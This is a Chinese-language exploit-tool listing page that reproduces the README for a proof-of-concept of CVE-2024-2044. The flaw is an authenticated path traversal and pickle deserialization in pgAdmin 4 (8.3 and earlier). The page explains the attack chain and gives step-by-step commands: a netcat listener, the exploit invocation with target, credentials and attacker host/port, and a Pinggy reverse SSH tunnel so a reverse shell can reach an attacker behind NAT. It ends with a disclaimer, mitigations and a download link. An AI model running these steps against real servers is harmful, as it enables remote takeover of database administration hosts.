Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-2044 — Python PoC,利用 pgAdmin 4(<=8.3)中的 CVE-2024-2044,通过认证路径遍历和不安全的 pickle 反序列化实现远程代码执行和反向 shell。 | Kitploit
工具/GitHubGitHub/hanzzly/cve-2024-2044
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试远程访问工具Payload 开发
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

Python PoC,利用 pgAdmin 4(<=8.3)中的 CVE-2024-2044,通过认证路径遍历和不安全的 pickle 反序列化实现远程代码执行和反向 shell。

查看仓库
19小时6分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PoC CVE-2024-2044: pgAdmin 4 认证后 RCE (Linux/POSIX)

本仓库包含针对 CVE-2024-2044 的 Proof of Concept (PoC) 脚本,该漏洞是一个严重漏洞,结合了 认证后路径遍历 和 不安全反序列化,影响运行在 Linux/POSIX 环境下的 pgAdmin 4(8.3 及以下版本)。

[!WARNING] 免责声明: 本代码仅供教育、安全研究和授权的渗透测试(authorized pentesting)目的使用。未经书面许可,将本代码用于攻击目标是非法行为,违反法律。


漏洞描述

在 Linux 环境下以服务器模式运行的 pgAdmin 4 中,会话管理以本地文件形式存储。漏洞产生的原因是 FileBackedSessionManager.get() 函数接收来自 HTTP cookie pga4_session 的值,并使用 os.path.join 将其拼接到目录路径中,而未对路径操纵字符(../)进行清理。

本 PoC 脚本通过以下流程利用该漏洞:

  1. 认证: 使用有效凭据自动登录以获取活动会话并绕过 CSRF token。
  2. 上传 Payload: 利用内置的 Storage Manager 工具上传包含 Reverse Shell 命令的恶意 Python pickle 对象。该文件存储在用户存储目录下(例如:/storage/nama_user/)。
  • 触发路径遍历: 通过将 pga4_session cookie 操纵为指向已上传 pickle 文件的相对路径(例如:../storage/nama_user/file.pickle!),向 /login 发送 HTTP 请求。! 符号用于匹配 pgAdmin 4 中会话文件扩展名的查找方式。
  • 代码执行 (RCE): pgAdmin 4 服务器被欺骗读取该文件并使用 pickle.loads() 进行处理。结果,payload 执行一个独立的(detached)Python 进程,向攻击者抛出 Reverse Shell。

  • 前提条件 (Prerequisites)

    • 目标: 运行在 Linux/POSIX 上的 pgAdmin 4 <= 8.3(服务器模式)。
    • 访问权限: 需要有效的登录账户(用户名和密码)。
    • 脚本依赖: Python 3 和 requests 库。

    使用指南

    选项 A:直接使用公网 IP(本地/VPN)

    1. 在您的机器上打开 netcat 端口以接收 reverse shell 连接:
      root@kitploit:~
      nc -lvnp 4444
      
    2. 运行利用脚本:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    选项 B:使用端口转发(Pinggy.io)

    如果您的机器位于 NAT/路由器之后并需要公共 tunnelling,您可以按照以下步骤使用 Pinggy.io 服务:

    1. 运行本地 Netcat 监听器

    首先在本地机器上使用您选择的端口(例如端口 1337)启动 nc:

    root@kitploit:~
    nc -lvnp 1337
    

    2. 运行 Pinggy 隧道

    打开一个新终端,然后运行 Pinggy SSH 命令。确保末尾的本地端口(1337)与您之前启动的 nc 端口一致:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    连接后,Pinggy 将提供一个公共 TCP URL,例如: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    注意:从 Pinggy 获得的公共端口是 43143(这将作为 -lport)。

    3. 查找 Pinggy 的真实 IP(获取 LHOST)

    目标 pgAdmin 4 服务器需要真实 IP 地址格式才能进行 reverse shell socket 连接。对您的 Pinggy URL 域名执行 nslookup:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    输出将显示 Pinggy 服务器的公共 IP(选择最上方 Address 部分的 IPv4):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    从上述输出中,获得 Pinggy 的真实 IP:172.236.148.125。

    image

    4. 运行利用脚本

    运行 PoC 脚本,将 nslookup 得到的 IP 作为 -lhost,将 Pinggy 的公共端口作为 -lport:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    脚本选项参数

    • -t, --target : pgAdmin 4 目标 URL(必填)。
    • -u, --username: 登录邮箱/用户名(默认:[email protected])。
    • -p, --password: 登录密码(默认:player123)。
    • -lhost : 攻击者 IP 地址 / Pinggy nslookup 结果 IP(必填)。
    • -lport : 攻击者监听端口 / Pinggy 公共端口(必填)。

    缓解措施

    该漏洞已在 pgAdmin 4 版本 8.4 中修复。如果您管理着易受攻击的服务器,请立即采取以下措施:

    1. 将 pgAdmin 4 更新到 8.4 或更高版本。
    2. 使用 VPN 或 防火墙白名单 限制对 pgAdmin 4 面板的网络访问。
    3. 确保 pgAdmin 4 进程以普通用户权限(非 root)运行。
    下载工具